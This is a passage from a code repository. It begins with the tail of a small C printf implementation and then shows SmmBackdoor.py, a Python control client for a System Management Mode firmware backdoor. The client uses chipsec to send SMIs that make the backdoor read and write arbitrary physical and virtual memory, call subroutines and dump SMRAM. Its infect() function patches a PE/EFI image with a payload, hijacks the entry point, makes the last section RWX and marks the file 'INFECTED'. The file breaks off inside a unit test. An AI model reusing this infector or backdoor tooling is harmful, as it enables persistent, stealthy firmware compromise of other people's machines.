| p.leading_zeros = 1; 411 | 412 | /* ignore actual 0-fill size: */ 413 | do 414 | { 415 | ch = *(format++); 416 | 417 | } while ((ch >= '0') && (ch <= '9')); 418 | } 419 | 420 | #ifdef PRINTF_SIZE_T_SUPPORT 421 | #ifdef PRINTF_LONG_SUPPORT 422 | 423 | if (ch == 'z') 424 | { 425 | ch = *(format++); 426 | 427 | if (sizeof(size_t) == sizeof(unsigned long int)) 428 | { 429 | lng = 1; 430 | } 431 | 432 | #ifdef PRINTF_LONG_LONG_SUPPORT 433 | 434 | else if (sizeof(size_t) == sizeof(unsigned long long int)) 435 | { 436 | lng = 2; 437 | } 438 | #endif 439 | } 440 | else 441 | 442 | #endif // PRINTF_LONG_SUPPORT 443 | #endif // PRINTF_SIZE_T_SUPPORT 444 | 445 | #ifdef PRINTF_LONG_SUPPORT 446 | 447 | if (ch == 'l') 448 | { 449 | ch = *(format++); 450 | lng = 1; 451 | 452 | #ifdef PRINTF_LONG_LONG_SUPPORT 453 | 454 | if (ch == 'l') 455 | { 456 | ch = *(format++); 457 | lng = 2; 458 | } 459 | #endif 460 | } 461 | 462 | #endif // PRINTF_LONG_SUPPORT 463 | 464 | switch (ch) 465 | { 466 | case 0: 467 | 468 | goto abort; 469 | 470 | case 'u': 471 | 472 | p.base = 10; 473 | 474 | #ifdef PRINTF_LONG_SUPPORT 475 | #ifdef PRINTF_LONG_LONG_SUPPORT 476 | 477 | if (2 == lng) 478 | { 479 | ulli2a(va_arg(va, unsigned long long int), &p); 480 | } 481 | else 482 | #endif 483 | if (1 == lng) 484 | { 485 | uli2a(va_arg(va, unsigned long int), &p); 486 | } 487 | else 488 | 489 | #endif // PRINTF_LONG_SUPPORT 490 | 491 | { 492 | ui2a(va_arg(va, unsigned int), &p); 493 | } 494 | 495 | putchw(putp, putf, &p); 496 | break; 497 | 498 | case 'd': 499 | case 'i': 500 | 501 | p.base = 10; 502 | 503 | #ifdef PRINTF_LONG_SUPPORT 504 | #ifdef PRINTF_LONG_LONG_SUPPORT 505 | 506 | if (2 == lng) 507 | { 508 | lli2a(va_arg(va, long long int), &p); 509 | } 510 | else 511 | #endif 512 | if (1 == lng) 513 | { 514 | li2a(va_arg(va, long int), &p); 515 | } 516 | else 517 | 518 | #endif // PRINTF_LONG_SUPPORT 519 | 520 | { 521 | i2a(va_arg(va, int), &p); 522 | } 523 | 524 | putchw(putp, putf, &p); 525 | break; 526 | 527 | #ifdef SIZEOF_POINTER 528 | 529 | case 'p': 530 | 531 | p.alt_form = 1; 532 | 533 | # if defined(SIZEOF_INT) && SIZEOF_POINTER <= SIZEOF_INT 534 | 535 | lng = 0; 536 | 537 | # elif defined(SIZEOF_LONG) && SIZEOF_POINTER <= SIZEOF_LONG 538 | 539 | lng = 1; 540 | 541 | # elif defined(SIZEOF_LONG_LONG) && SIZEOF_POINTER <= SIZEOF_LONG_LONG 542 | 543 | lng = 2; 544 | #endif 545 | #endif // SIZEOF_POINTER 546 | 547 | case 'x': 548 | case 'X': 549 | 550 | p.base = 16; 551 | p.upper_case = (ch == 'X') ? 1 : 0; 552 | 553 | #ifdef PRINTF_LONG_SUPPORT 554 | #ifdef PRINTF_LONG_LONG_SUPPORT 555 | 556 | if (2 == lng) 557 | { 558 | ulli2a(va_arg(va, unsigned long long int), &p); 559 | } 560 | else 561 | #endif 562 | if (1 == lng) 563 | { 564 | uli2a(va_arg(va, unsigned long int), &p); 565 | } 566 | else 567 | 568 | #endif // PRINTF_LONG_SUPPORT 569 | 570 | { 571 | ui2a(va_arg(va, unsigned int), &p); 572 | } 573 | 574 | putchw(putp, putf, &p); 575 | break; 576 | 577 | case 'o': 578 | 579 | p.base = 8; 580 | ui2a(va_arg(va, unsigned int), &p); 581 | putchw(putp, putf, &p); 582 | break; 583 | 584 | case 'c': 585 | 586 | putf(putp, (char)(va_arg(va, int))); 587 | break; 588 | 589 | case 's': 590 | 591 | p.buff = va_arg(va, char *); 592 | putchw(putp, putf, &p); 593 | p.buff = bf; 594 | break; 595 | 596 | case '%': 597 | 598 | putf(putp, ch); 599 | 600 | default: 601 | 602 | break; 603 | } 604 | } 605 | } 606 | 607 | abort:; 608 | } 609 | 610 | struct _vsnprintf_putcf_data 611 | { 612 | char *dest; 613 | size_t dest_capacity; 614 | size_t num_chars; 615 | }; 616 | 617 | static void _vsnprintf_putcf(void *p, char c) 618 | { 619 | struct _vsnprintf_putcf_data *data = (struct _vsnprintf_putcf_data*)p; 620 | 621 | if (data->num_chars < data->dest_capacity) 622 | { 623 | data->dest[data->num_chars] = c; 624 | } 625 | 626 | data->num_chars += 1; 627 | } 628 | 629 | int tfp_vsnprintf(char *str, size_t size, const char *format, va_list ap) 630 | { 631 | struct _vsnprintf_putcf_data data; 632 | 633 | if (size < 1) 634 | { 635 | return 0; 636 | } 637 | 638 | data.dest = str; 639 | data.dest_capacity = size - 1; 640 | data.num_chars = 0; 641 | 642 | tfp_format(&data, _vsnprintf_putcf, format, ap); 643 | 644 | if (data.num_chars < data.dest_capacity) 645 | { 646 | data.dest[data.num_chars] = '\0'; 647 | } 648 | else 649 | { 650 | data.dest[data.dest_capacity] = '\0'; 651 | } 652 | 653 | return (int)data.num_chars; 654 | } 655 | 656 | int tfp_snprintf(char *str, size_t size, const char *format, ...) 657 | { 658 | va_list ap; 659 | int retval; 660 | 661 | va_start(ap, format); 662 | retval = tfp_vsnprintf(str, size, format, ap); 663 | va_end(ap); 664 | 665 | return retval; 666 | } 667 | 668 | struct _vsprintf_putcf_data 669 | { 670 | char *dest; 671 | size_t num_chars; 672 | }; 673 | 674 | static void _vsprintf_putcf(void *p, char c) 675 | { 676 | struct _vsprintf_putcf_data *data = (struct _vsprintf_putcf_data*)p; 677 | 678 | data->dest[data->num_chars++] = c; 679 | } 680 | 681 | int tfp_vsprintf(char *str, const char *format, va_list ap) 682 | { 683 | struct _vsprintf_putcf_data data; 684 | 685 | data.dest = str; 686 | data.num_chars = 0; 687 | 688 | tfp_format(&data, _vsprintf_putcf, format, ap); 689 | data.dest[data.num_chars] = '\0'; 690 | 691 | return (int)data.num_chars; 692 | } 693 | 694 | int tfp_sprintf(char *str, const char *format, ...) 695 | { 696 | va_list ap; 697 | int retval; 698 | 699 | va_start(ap, format); 700 | retval = tfp_vsprintf(str, format, ap); 701 | va_end(ap); 702 | 703 | return retval; 704 | } 705 | -------------------------------------------------------------------------------- /SmmBackdoor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | import sys, os, time, shutil, unittest, mmap 4 | from ctypes import * 5 | from struct import pack, unpack 6 | from optparse import OptionParser, make_option 7 | 8 | 9 | # SW SMI command value for communicating with backdoor SMM code 10 | BACKDOOR_SW_SMI_VAL = 0xCC 11 | 12 | # SW SMI commands for backdoor 13 | BACKDOOR_SW_DATA_PING = 0 # test for allive SMM backdoor 14 | BACKDOOR_SW_DATA_READ_PHYS_PAGE = 1 # read physical memory command 15 | BACKDOOR_SW_DATA_READ_VIRT_PAGE = 2 # read virtual memory command 16 | BACKDOOR_SW_DATA_WRITE_PHYS_PAGE = 3 # write physical memory command 17 | BACKDOOR_SW_DATA_WRITE_VIRT_PAGE = 4 # write virtual memory command 18 | BACKDOOR_SW_DATA_TIMER_ENABLE = 5 # enable periodic timer handler 19 | BACKDOOR_SW_DATA_TIMER_DISABLE = 6 # disable periodic timer handler 20 | BACKDOOR_SW_DATA_CALL = 7 # call specified subroutine 21 | BACKDOOR_SW_DATA_READ_PHYS_DWORD = 9 # read physical memory dowrd command 22 | BACKDOOR_SW_DATA_READ_VIRT_DWORD = 10 # read virtual memory dowrd command 23 | BACKDOOR_SW_DATA_WRITE_PHYS_DWORD = 11 # write physical memory dowrd command 24 | BACKDOOR_SW_DATA_WRITE_VIRT_DWORD = 12 # write virtual memory dowrd command 25 | 26 | # See struct _INFECTOR_CONFIG in SmmBackdoor.h 27 | INFECTOR_CONFIG_SECTION = '.conf' 28 | INFECTOR_CONFIG_FMT = 'QI' 29 | INFECTOR_CONFIG_LEN = 8 + 4 30 | 31 | # IMAGE_DOS_HEADER.e_res magic constant to mark infected file 32 | INFECTOR_SIGN = 'INFECTED' 33 | 34 | # EFI variable with struct _BACKDOOR_INFO physical address 35 | BACKDOOR_INFO_EFI_VAR = 'SmmBackdoorInfo-3a452e85-a7ca-438f-a5cb-ad3a70c5d01b' 36 | BACKDOOR_INFO_FMT = 'QQQQQ' 37 | BACKDOOR_INFO_LEN = 8 * 5 38 | 39 | # idicate that SMRAM regions were copied to BACKDOOR_INFO structure 40 | BACKDOOR_INFO_FULL = 0xFFFFFFFF 41 | 42 | PAGE_SIZE = 0x1000 43 | 44 | align_up = lambda x, a: ((x + a - 1) // a) * a 45 | align_down = lambda x, a: (x // a) * a 46 | 47 | cs = None 48 | 49 | 50 | class ChipsecWrapper(object): 51 | 52 | def __init__(self): 53 | 54 | try: 55 | 56 | import chipsec.chipset 57 | import chipsec.hal.uefi 58 | import chipsec.hal.physmem 59 | import chipsec.hal.interrupts 60 | 61 | except ImportError: 62 | 63 | print('ERROR: chipsec is not installed') 64 | exit(-1) 65 | 66 | self.cs = chipsec.chipset.cs() 67 | 68 | # load chipsec helper 69 | self.cs.helper.start(True) 70 | 71 | # load needed sumbmodules 72 | self.intr = chipsec.hal.interrupts.Interrupts(self.cs) 73 | self.uefi = chipsec.hal.uefi.UEFI(self.cs) 74 | self.mem = chipsec.hal.physmem.Memory(self.cs) 75 | 76 | def efi_var_get(self, name): 77 | 78 | # parse variable name string of name-GUID format 79 | name = name.split('-') 80 | 81 | # get variable data 82 | return self.uefi.get_EFI_variable(name[0], '-'.join(name[1: ]), None) 83 | 84 | efi_var_get_8 = lambda self, name: unpack('B', self.efi_var_get(name))[0] 85 | efi_var_get_16 = lambda self, name: unpack('H', self.efi_var_get(name))[0] 86 | efi_var_get_32 = lambda self, name: unpack('I', self.efi_var_get(name))[0] 87 | efi_var_get_64 = lambda self, name: unpack('Q', self.efi_var_get(name))[0] 88 | 89 | def mem_read(self, addr, size): 90 | 91 | # read memory contents 92 | return self.mem.read_physical_mem(addr, size) 93 | 94 | def mem_write(self, addr, data): 95 | 96 | # write memory contents 97 | return self.mem.write_physical_mem(addr, len(data), data) 98 | 99 | mem_read_8 = lambda self, addr: unpack('B', self.mem_read(addr, 1))[0] 100 | mem_read_16 = lambda self, addr: unpack('H', self.mem_read(addr, 2))[0] 101 | mem_read_32 = lambda self, addr: unpack('I', self.mem_read(addr, 4))[0] 102 | mem_read_64 = lambda self, addr: unpack('Q', self.mem_read(addr, 8))[0] 103 | 104 | mem_write_1 = lambda self, addr, v: self.mem_write(addr, pack('B', v)) 105 | mem_write_2 = lambda self, addr, v: self.mem_write(addr, pack('H', v)) 106 | mem_write_4 = lambda self, addr, v: self.mem_write(addr, pack('I', v)) 107 | mem_write_8 = lambda self, addr, v: self.mem_write(addr, pack('Q', v)) 108 | 109 | def send_sw_smi(self, command, data, arg): 110 | 111 | # fire synchronous SMI 112 | self.intr.send_SW_SMI(0, command, data, 0, 0, arg, 0, 0, 0) 113 | 114 | 115 | def get_backdoor_info_addr(): 116 | 117 | # get _BACKDOOR_INFO structure address 118 | return cs.efi_var_get_64(BACKDOOR_INFO_EFI_VAR) 119 | 120 | 121 | def get_backdoor_info(addr = None): 122 | 123 | addr = get_backdoor_info_addr() if addr is None else addr 124 | 125 | # read _BACKDOOR_INFO structure contents 126 | return unpack(BACKDOOR_INFO_FMT, cs.mem_read(addr, BACKDOOR_INFO_LEN)) 127 | 128 | 129 | def get_backdoor_info_mem(addr = None, size = None): 130 | 131 | addr = get_backdoor_info_addr() if addr is None else addr 132 | size = PAGE_SIZE if size is None else size 133 | 134 | # read whole page to avoid caching issues (damn chipsec) 135 | data = cs.mem_read(addr + PAGE_SIZE, PAGE_SIZE) 136 | 137 | return data[: size] 138 | 139 | 140 | def get_smram_info(): 141 | 142 | ret = [] 143 | backdoor_info = get_backdoor_info_addr() 144 | addr, size = backdoor_info + BACKDOOR_INFO_LEN, 8 * 4 145 | 146 | # dump array of EFI_SMRAM_DESCRIPTOR structures 147 | while True: 148 | 149 | ''' 150 | typedef struct _EFI_SMRAM_DESCRIPTOR 151 | { 152 | EFI_PHYSICAL_ADDRESS PhysicalStart; 153 | EFI_PHYSICAL_ADDRESS CpuStart; 154 | UINT64 PhysicalSize; 155 | UINT64 RegionState; 156 | 157 | } EFI_SMRAM_DESCRIPTOR; 158 | ''' 159 | physical_start, cpu_start, physical_size, region_state = unpack('Q' * 4, cs.mem_read(addr, size)) 160 | 161 | if physical_start == 0: 162 | 163 | # no more items 164 | break 165 | 166 | ret.append(( physical_start, physical_size, region_state )) 167 | addr += size 168 | 169 | return ret 170 | 171 | 172 | def backdoor_ctl(code, arg): 173 | 174 | # send request to the backdoor 175 | cs.send_sw_smi(BACKDOOR_SW_SMI_VAL, code, arg) 176 | 177 | 178 | def backdoor_read_virt_page(addr): 179 | 180 | assert addr & 0xfff == 0 181 | 182 | # read virtual memory page 183 | backdoor_ctl(BACKDOOR_SW_DATA_READ_VIRT_PAGE, addr) 184 | 185 | backdoor_info = get_backdoor_info_addr() 186 | 187 | # check status 188 | _, _, last_status, _, _ = get_backdoor_info(addr = backdoor_info) 189 | if last_status != 0: 190 | 191 | raise Exception('SMM backdoor error 0x%.8x' % last_status) 192 | 193 | # get contents 194 | return get_backdoor_info_mem(addr = backdoor_info) 195 | 196 | 197 | def backdoor_read_phys_page(addr): 198 | 199 | assert addr & 0xfff == 0 200 | 201 | # read physical memory page 202 | backdoor_ctl(BACKDOOR_SW_DATA_READ_PHYS_PAGE, addr) 203 | 204 | backdoor_info = get_backdoor_info_addr() 205 | 206 | # check status 207 | _, _, last_status, _, _ = get_backdoor_info(addr = backdoor_info) 208 | if last_status != 0: 209 | 210 | raise Exception('SMM backdoor error 0x%.8x' % last_status) 211 | 212 | # get contents 213 | return get_backdoor_info_mem(addr = backdoor_info) 214 | 215 | 216 | def backdoor_write_virt_page(addr, data): 217 | 218 | assert addr & 0xfff == 0 219 | assert len(data) == PAGE_SIZE 220 | 221 | cs.mem_write(get_backdoor_info_addr() + PAGE_SIZE, data) 222 | 223 | # write virtual memory page 224 | backdoor_ctl(BACKDOOR_SW_DATA_WRITE_VIRT_PAGE, addr) 225 | 226 | # check status 227 | _, _, last_status, _, _ = get_backdoor_info() 228 | if last_status != 0: 229 | 230 | raise Exception('SMM backdoor error 0x%.8x' % last_status) 231 | 232 | 233 | def backdoor_write_phys_page(addr, data): 234 | 235 | assert addr & 0xfff == 0 236 | assert len(data) == PAGE_SIZE 237 | 238 | cs.mem_write(get_backdoor_info_addr() + PAGE_SIZE, data) 239 | 240 | # write physical memory page 241 | backdoor_ctl(BACKDOOR_SW_DATA_WRITE_PHYS_PAGE, addr) 242 | 243 | # check status 244 | _, _, last_status, _, _ = get_backdoor_info() 245 | if last_status != 0: 246 | 247 | raise Exception('SMM backdoor error 0x%.8x' % last_status) 248 | 249 | 250 | def backdoor_read_virt_dword(addr): 251 | 252 | assert (addr & 0xfff) + 4 <= 0x1000 253 | 254 | # read virtual memory dword 255 | backdoor_ctl(BACKDOOR_SW_DATA_READ_VIRT_DWORD, addr) 256 | 257 | backdoor_info = get_backdoor_info_addr() 258 | 259 | # check status 260 | _, _, last_status, _, _ = get_backdoor_info(addr = backdoor_info) 261 | if last_status != 0: 262 | 263 | raise Exception('SMM backdoor error 0x%.8x' % last_status) 264 | 265 | # get contents 266 | return get_backdoor_info_mem(addr = backdoor_info, size = 4) 267 | 268 | 269 | def backdoor_read_phys_dword(addr): 270 | 271 | assert (addr & 0xfff) + 4 <= 0x1000 272 | 273 | # read physical memory dword 274 | backdoor_ctl(BACKDOOR_SW_DATA_READ_PHYS_DWORD, addr) 275 | 276 | backdoor_info = get_backdoor_info_addr() 277 | 278 | # check status 279 | _, _, last_status, _, _ = get_backdoor_info(addr = backdoor_info) 280 | if last_status != 0: 281 | 282 | raise Exception('SMM backdoor error 0x%.8x' % last_status) 283 | 284 | # get contents 285 | return get_backdoor_info_mem(addr = backdoor_info, size = 4) 286 | 287 | 288 | def backdoor_write_virt_dword(addr, data): 289 | 290 | assert (addr & 0xfff) + 4 <= 0x1000 291 | assert len(data) == 4 292 | 293 | cs.mem_write(get_backdoor_info_addr() + PAGE_SIZE, data) 294 | 295 | # write virtual memory dword 296 | backdoor_ctl(BACKDOOR_SW_DATA_WRITE_VIRT_DWORD, addr) 297 | 298 | # check status 299 | _, _, last_status, _, _ = get_backdoor_info() 300 | if last_status != 0: 301 | 302 | raise Exception('SMM backdoor error 0x%.8x' % last_status) 303 | 304 | 305 | def backdoor_write_phys_dword(addr, data): 306 | 307 | assert (addr & 0xfff) + 4 <= 0x1000 308 | assert len(data) == 4 309 | 310 | cs.mem_write(get_backdoor_info_addr() + PAGE_SIZE, data) 311 | 312 | # write physical memory dword 313 | backdoor_ctl(BACKDOOR_SW_DATA_WRITE_PHYS_DWORD, addr) 314 | 315 | # check status 316 | _, _, last_status, _, _ = get_backdoor_info() 317 | if last_status != 0: 318 | 319 | raise Exception('SMM backdoor error 0x%.8x' % last_status) 320 | 321 | 322 | def backdoor_timer_enable(): 323 | 324 | # enable periodic timer SMI handler 325 | backdoor_ctl(BACKDOOR_SW_DATA_TIMER_ENABLE, 0) 326 | 327 | 328 | def backdoor_timer_disable(): 329 | 330 | # disable periodic timer SMI handler 331 | backdoor_ctl(BACKDOOR_SW_DATA_TIMER_DISABLE, 0) 332 | 333 | 334 | def backdoor_call(addr): 335 | 336 | # call specified subroutine 337 | backdoor_ctl(BACKDOOR_SW_DATA_CALL, addr) 338 | 339 | 340 | def _backdoor_read_mem(addr, size, virt = False): 341 | 342 | align, data = 4, '' 343 | 344 | read_addr = align_down(addr, align) 345 | read_size = align_up(size, align) + align 346 | 347 | ptr = addr - read_addr 348 | 349 | # perform memory reads 350 | for i in range(0, read_size / align): 351 | 352 | if virt: 353 | 354 | data += backdoor_read_virt_dword(read_addr + (i * align)) 355 | 356 | else: 357 | 358 | data += backdoor_read_phys_dword(read_addr + (i * align)) 359 | 360 | # align memory read request by 4 byte boundary 361 | return data[ptr : ptr + size] 362 | 363 | 364 | def _backdoor_write_mem(addr, data, virt = False): 365 | 366 | align, size = 4, len(data) 367 | 368 | write_addr = align_down(addr, align) 369 | write_size = align_up(size, align) + align 370 | 371 | # read existing data 372 | write_data = _backdoor_read_mem(write_addr, write_size, virt = virt) 373 | 374 | ptr = addr - write_addr 375 | 376 | # align memory write request by 4 byte boundary 377 | data = write_data[: ptr] + data + write_data[ptr + size :] 378 | 379 | for i in range(0, write_size / align): 380 | 381 | if virt: 382 | 383 | backdoor_write_virt_dword(write_addr + (i * align), data[i * align : (i + 1) * align]) 384 | 385 | else: 386 | 387 | backdoor_write_phys_dword(write_addr + (i * align), data[i * align : (i + 1) * align]) 388 | 389 | 390 | read_phys_mem = lambda addr, size: _backdoor_read_mem(addr, size, virt = False) 391 | read_virt_mem = lambda addr, size: _backdoor_read_mem(addr, size, virt = True) 392 | 393 | write_phys_mem = lambda addr, data: _backdoor_write_mem(addr, data, virt = False) 394 | write_virt_mem = lambda addr, data: _backdoor_write_mem(addr, data, virt = True) 395 | 396 | 397 | write_phys_mem_1 = lambda addr, v: write_phys_mem(addr, pack('B', v)) 398 | write_phys_mem_2 = lambda addr, v: write_phys_mem(addr, pack('H', v)) 399 | write_phys_mem_4 = lambda addr, v: write_phys_mem(addr, pack('I', v)) 400 | write_phys_mem_8 = lambda addr, v: write_phys_mem(addr, pack('Q', v)) 401 | 402 | write_virt_mem_1 = lambda addr, v: write_virt_mem(addr, pack('B', v)) 403 | write_virt_mem_2 = lambda addr, v: write_virt_mem(addr, pack('H', v)) 404 | write_virt_mem_4 = lambda addr, v: write_virt_mem(addr, pack('I', v)) 405 | write_virt_mem_8 = lambda addr, v: write_virt_mem(addr, pack('Q', v)) 406 | 407 | 408 | read_phys_mem_1 = lambda addr: unpack('B', read_phys_mem(addr, 1))[0] 409 | read_phys_mem_2 = lambda addr: unpack('H', read_phys_mem(addr, 2))[0] 410 | read_phys_mem_4 = lambda addr: unpack('I', read_phys_mem(addr, 4))[0] 411 | read_phys_mem_8 = lambda addr: unpack('Q', read_phys_mem(addr, 8))[0] 412 | 413 | read_virt_mem_1 = lambda addr: unpack('B', read_virt_mem(addr, 1))[0] 414 | read_virt_mem_2 = lambda addr: unpack('H', read_virt_mem(addr, 2))[0] 415 | read_virt_mem_4 = lambda addr: unpack('I', read_virt_mem(addr, 4))[0] 416 | read_virt_mem_8 = lambda addr: unpack('Q', read_virt_mem(addr, 8))[0] 417 | 418 | 419 | def dump_mem_page(addr, count = None): 420 | 421 | ret = '' 422 | backdoor_info = get_backdoor_info_addr() 423 | count = 1 if count is None else count 424 | 425 | for i in range(count): 426 | 427 | # send read memory page command to SMM code 428 | page_addr = addr + PAGE_SIZE * i 429 | backdoor_ctl(BACKDOOR_SW_DATA_READ_PHYS_PAGE, page_addr) 430 | 431 | _, _, last_status, _, _ = get_backdoor_info(addr = backdoor_info) 432 | if last_status != 0: 433 | 434 | raise Exception('SMM backdoor error 0x%.8x' % last_status) 435 | 436 | # copy readed page contents from physical memory 437 | ret += get_backdoor_info_mem(addr = backdoor_info) 438 | 439 | return ret 440 | 441 | 442 | def dump_smram(): 443 | 444 | # get backdoor status 445 | info_addr = get_backdoor_info_addr() 446 | _, _, last_status, _, _ = get_backdoor_info(addr = info_addr) 447 | 448 | # get SMRAM information 449 | regions, contents = get_smram_info(), [] 450 | regions_merged = [] 451 | 452 | if len(regions) > 1: 453 | 454 | # join neighbour regions 455 | for i in range(0, len(regions) - 1): 456 | 457 | curr_addr, curr_size, curr_opt = regions[i] 458 | next_addr, next_size, next_opt = regions[i + 1] 459 | 460 | if curr_addr + curr_size == next_addr: 461 | 462 | # join two regions 463 | regions[i + 1] = ( curr_addr, curr_size + next_size, curr_opt ) 464 | 465 | else: 466 | 467 | # copy region information 468 | regions_merged.append(( curr_addr, curr_size, curr_opt )) 469 | 470 | region_addr, region_size, region_opt = regions[-1] 471 | regions_merged.append(( region_addr, region_size, region_opt )) 472 | 473 | elif len(regions) > 0: 474 | 475 | regions_merged = regions 476 | 477 | else: 478 | 479 | raise(Exception('No SMRAM regions found')) 480 | 481 | print('[+] Dumping SMRAM regions, this may take a while...') 482 | 483 | try: 484 | 485 | ptr = PAGE_SIZE 486 | 487 | # enumerate and dump available SMRAM regions 488 | for region in regions_merged: 489 | 490 | region_addr, region_size, _ = region 491 | name = 'SMRAM_dump_%.8x_%.8x.bin' % (region_addr, region_addr + region_size - 1) 492 | 493 | if last_status == BACKDOOR_INFO_FULL: 494 | 495 | # dump region contents from BACKDOOR_INFO structure 496 | data = cs.mem_read(info_addr + ptr, region_size) 497 | ptr += region_size 498 | 499 | else: 500 | 501 | # dump region contents with sending SW SMI to SMM backdoor 502 | data = dump_mem_page(region_addr, region_size / PAGE_SIZE) 503 | 504 | contents.append(( name, data )) 505 | 506 | # save dumped data to files 507 | for name, data in contents: 508 | 509 | with open(name, 'wb') as fd: 510 | 511 | print('[+] Creating %s' % name) 512 | fd.write(data) 513 | 514 | except IOError, why: 515 | 516 | print('ERROR: %s' % str(why)) 517 | return False 518 | 519 | 520 | def check_system(): 521 | 522 | try: 523 | 524 | backdoor_ctl(BACKDOOR_SW_DATA_PING, 0x31337) 525 | 526 | backdoor_info = get_backdoor_info_addr() 527 | print('[+] struct _BACKDOOR_INFO physical address is 0x%x' % backdoor_info) 528 | 529 | calls_count, ticks_count, last_status, smm_mca_cap, smm_feature_control = \ 530 | get_backdoor_info(addr = backdoor_info) 531 | 532 | print('[+] BackdoorEntry() calls count is %d' % calls_count) 533 | print('[+] PeriodicTimerDispatch2Handler() calls count is %d' % ticks_count) 534 | print('[+] Last status code is 0x%.8x' % last_status) 535 | print('[+] MSR_SMM_MCA_CAP register value is 0x%x' % smm_mca_cap) 536 | print('[+] MSR_SMM_FEATURE_CONTROL register value is 0x%x' % smm_feature_control) 537 | 538 | print('[+] SMRAM map:') 539 | 540 | # enumerate available SMRAM regions 541 | for region in get_smram_info(): 542 | 543 | physical_start, physical_size, region_state = region 544 | 545 | print(' address = 0x%.8x, size = 0x%.8x, state = 0x%x' % \ 546 | (physical_start, physical_size, region_state)) 547 | 548 | return True 549 | 550 | except IOError, why: 551 | 552 | print('ERROR: %s' % str(why)) 553 | return False 554 | 555 | 556 | def infect(src, payload, dst = None): 557 | 558 | try: 559 | 560 | import pefile 561 | 562 | except ImportError: 563 | 564 | print('ERROR: pefile is not installed') 565 | exit(-1) 566 | 567 | def _infector_config_offset(pe): 568 | 569 | for section in pe.sections: 570 | 571 | # find .conf section of payload image 572 | if section.Name[: len(INFECTOR_CONFIG_SECTION)] == INFECTOR_CONFIG_SECTION: 573 | 574 | return section.PointerToRawData 575 | 576 | raise Exception('Unable to find %s section' % INFECTOR_CONFIG_SECTION) 577 | 578 | def _infector_config_get(pe, data): 579 | 580 | offs = _infector_config_offset(pe) 581 | 582 | return unpack(INFECTOR_CONFIG_FMT, data[offs : offs + INFECTOR_CONFIG_LEN]) 583 | 584 | def _infector_config_set(pe, data, *args): 585 | 586 | offs = _infector_config_offset(pe) 587 | 588 | return data[: offs] + \ 589 | pack(INFECTOR_CONFIG_FMT, *args) + \ 590 | data[offs + INFECTOR_CONFIG_LEN :] 591 | 592 | # load target image 593 | pe_src = pefile.PE(src) 594 | 595 | # load payload image 596 | pe_payload = pefile.PE(payload) 597 | 598 | if pe_src.DOS_HEADER.e_res == INFECTOR_SIGN: 599 | 600 | raise Exception('%s is already infected' % src) 601 | 602 | if pe_src.FILE_HEADER.Machine != pe_payload.FILE_HEADER.Machine: 603 | 604 | raise Exception('Architecture missmatch') 605 | 606 | # read payload image data into the string 607 | data = open(payload, 'rb').read() 608 | 609 | # read _INFECTOR_CONFIG, this structure is located at .conf section of payload image 610 | conf_ep_new, conf_ep_old = _infector_config_get(pe_payload, data) 611 | 612 | last_section = None 613 | for section in pe_src.sections: 614 | 615 | # find last section of target image 616 | last_section = section 617 | 618 | if last_section.Misc_VirtualSize > last_section.SizeOfRawData: 619 | 620 | raise Exception('Last section virtual size must be less or equal than raw size') 621 | 622 | # save original entry point address of target image 623 | conf_ep_old = pe_src.OPTIONAL_HEADER.AddressOfEntryPoint 624 | 625 | print('Original entry point RVA is 0x%.8x' % conf_ep_old ) 626 | print('Original %s virtual size is 0x%.8x' % \ 627 | (last_section.Name.split('\0')[0], last_section.Misc_VirtualSize)) 628 | 629 | print('Original image size is 0x%.8x' % pe_src.OPTIONAL_HEADER.SizeOfImage) 630 | 631 | # write updated _INFECTOR_CONFIG back to the payload image 632 | data = _infector_config_set(pe_payload, data, conf_ep_new, conf_ep_old) 633 | 634 | # set new entry point of target image 635 | pe_src.OPTIONAL_HEADER.AddressOfEntryPoint = \ 636 | last_section.VirtualAddress + last_section.SizeOfRawData + conf_ep_new 637 | 638 | # update last section size 639 | last_section.SizeOfRawData += len(data) 640 | last_section.Misc_VirtualSize = last_section.SizeOfRawData 641 | 642 | # make it executable 643 | last_section.Characteristics = pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_READ'] | \ 644 | pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_WRITE'] | \ 645 | pefile.SECTION_CHARACTERISTICS['IMAGE_SCN_MEM_EXECUTE'] 646 | 647 | print('Characteristics of %s section was changed to RWX' % last_section.Name.split('\0')[0]) 648 | 649 | # update image headers 650 | pe_src.OPTIONAL_HEADER.SizeOfImage = last_section.VirtualAddress + last_section.Misc_VirtualSize 651 | pe_src.DOS_HEADER.e_res = INFECTOR_SIGN 652 | 653 | print('New entry point RVA is 0x%.8x' % pe_src.OPTIONAL_HEADER.AddressOfEntryPoint) 654 | print('New %s virtual size is 0x%.8x' % \ 655 | (last_section.Name.split('\0')[0], last_section.Misc_VirtualSize)) 656 | 657 | print('New image size is 0x%.8x' % pe_src.OPTIONAL_HEADER.SizeOfImage) 658 | 659 | # get infected image data 660 | data = pe_src.write() + data 661 | 662 | if dst is not None: 663 | 664 | with open(dst, 'wb') as fd: 665 | 666 | # save infected image to the file 667 | fd.write(data) 668 | 669 | return data 670 | 671 | 672 | def hexdump(data, width = 16, addr = 0): 673 | 674 | ret = '' 675 | 676 | def quoted(data): 677 | 678 | # replace non-alphanumeric characters 679 | return ''.join(map(lambda b: b if b.isalnum() else '.', data)) 680 | 681 | while data: 682 | 683 | line = data[: width] 684 | data = data[width :] 685 | 686 | # put hex values 687 | s = map(lambda b: '%.2x' % ord(b), line) 688 | s += [ ' ' ] * (width - len(line)) 689 | 690 | # put ASCII values 691 | s = '%s | %s' % (' '.join(s), quoted(line)) 692 | 693 | if addr is not None: 694 | 695 | # put address 696 | s = '%.8x: %s' % (addr, s) 697 | addr += len(line) 698 | 699 | ret += s + '\n' 700 | 701 | return ret 702 | 703 | 704 | def init(): 705 | 706 | global cs 707 | 708 | if cs is None: 709 | 710 | # initialize chipsec 711 | cs = ChipsecWrapper() 712 | 713 | 714 | class TestPhysMemAccess(unittest.TestCase): 715 | 716 | def __init__(self, method): 717 | 718 | init() 719 | 720 | super(TestPhysMemAccess, self).__init__(method) 721 | 722 | def smram_start(self): 723 | ''' Get address of the first SMRAM region. ''' 724 | 725 | return get_smram_info()[0][0] 726 | 727 | def test_mem(self): 728 | ''' Test regular memory read/write operations. ''' 729 | 730 | addr = self.smram_start() 731 | 732 | data = read_phys_mem(addr, 0x20) 733 | 734 | write_phys_mem(addr, data) 735 | 736 | def test_normal(self, addr = None): 737 | ''' Test byte/word/dword/qword memory operations. ''' 738 | 739 | addr = self.smram_start() if addr is None else addr 740 | 741 | val = 0x0102030405060708 